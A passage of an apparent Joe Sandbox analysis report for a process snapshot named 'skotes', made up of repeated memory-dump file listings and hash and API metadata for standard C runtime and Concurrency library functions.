                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
                                                                                                                                                                                                                                                                                    • String ID: pContext$switchState
                                                                                                                                                                                                                                                                                    • API String ID: 2656283622-2660820399
                                                                                                                                                                                                                                                                                    • Opcode ID: 8bdd16bbdffeeb768ba56c17c769acdb09f2ebf09f4f2a0f9e63315be405ce86
                                                                                                                                                                                                                                                                                    • Instruction ID: 0174161affec797247828c976fe75b0945a9b6eb9cf0035d051bd74c2d8638be
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8bdd16bbdffeeb768ba56c17c769acdb09f2ebf09f4f2a0f9e63315be405ce86
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D031A736A40214BBCF05FF64C885AADB7B9BF55324F204565E91597241EB71DF02CF90
                                                                                                                                                                                                                                                                                    Function 0018727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _wcsrchr
                                                                                                                                                                                                                                                                                    • String ID: .bat$.cmd$.com$.exe
                                                                                                                                                                                                                                                                                    • API String ID: 1752292252-4019086052
                                                                                                                                                                                                                                                                                    • Opcode ID: c1a9b077edb4df1135ea9ee112d3ba777f70dd047608a27d88ce010b51e0a54a
                                                                                                                                                                                                                                                                                    • Instruction ID: f9bc43d844c2878e6ff6c573e958dc0ac120afa4e9481530dc3e08033124980f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c1a9b077edb4df1135ea9ee112d3ba777f70dd047608a27d88ce010b51e0a54a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7501262B70CA2235E615301CAD02B7663999BD2BB4B35002AFC54F71C1EF54DE822BE1
                                                                                                                                                                                                                                                                                    Function 0016FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0016FB06
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
                                                                                                                                                                                                                                                                                    • String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
                                                                                                                                                                                                                                                                                    • API String ID: 348560076-465693683
                                                                                                                                                                                                                                                                                    • Opcode ID: c5ad10716edabe3264dbb93c050d51aa14fb743994709e2581d3212393af3a0c
                                                                                                                                                                                                                                                                                    • Instruction ID: ac1627fdd677941a6298ea8dafd711cf561552f1081bfa3ab600005d32d35fff
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c5ad10716edabe3264dbb93c050d51aa14fb743994709e2581d3212393af3a0c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9A0124775413157EE310B7FA6C82AAB36EEAE06758B30153AB404F3182EFA4E8116660
                                                                                                                                                                                                                                                                                    Function 00182097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • StructuredWorkStealingQueue.LIBCMT ref: 001820B7
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017CAF3: Mailbox.LIBCMT ref: 0017CB2D
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001820C8
                                                                                                                                                                                                                                                                                    • StructuredWorkStealingQueue.LIBCMT ref: 001820FE
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0018210F
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
                                                                                                                                                                                                                                                                                    • String ID: e
                                                                                                                                                                                                                                                                                    • API String ID: 1411586358-4024072794
                                                                                                                                                                                                                                                                                    • Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
                                                                                                                                                                                                                                                                                    • Instruction ID: 807eb2ca25c74388d94527d9ba140dc4f2f595975367c73cd80740442d8be44e
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A711A331600105ABDB16FE79C885A6A73A9EF12324B24C15AFD069F242DB71DB01CF90
                                                                                                                                                                                                                                                                                    Function 0016D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    • api-ms-win-core-synch-l1-2-0.dll, xrefs: 0016D03B
                                                                                                                                                                                                                                                                                    • kernel32.dll, xrefs: 0016D04C
                                                                                                                                                                                                                                                                                    • SleepConditionVariableCS, xrefs: 0016D05D
                                                                                                                                                                                                                                                                                    • WakeAllConditionVariable, xrefs: 0016D069
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
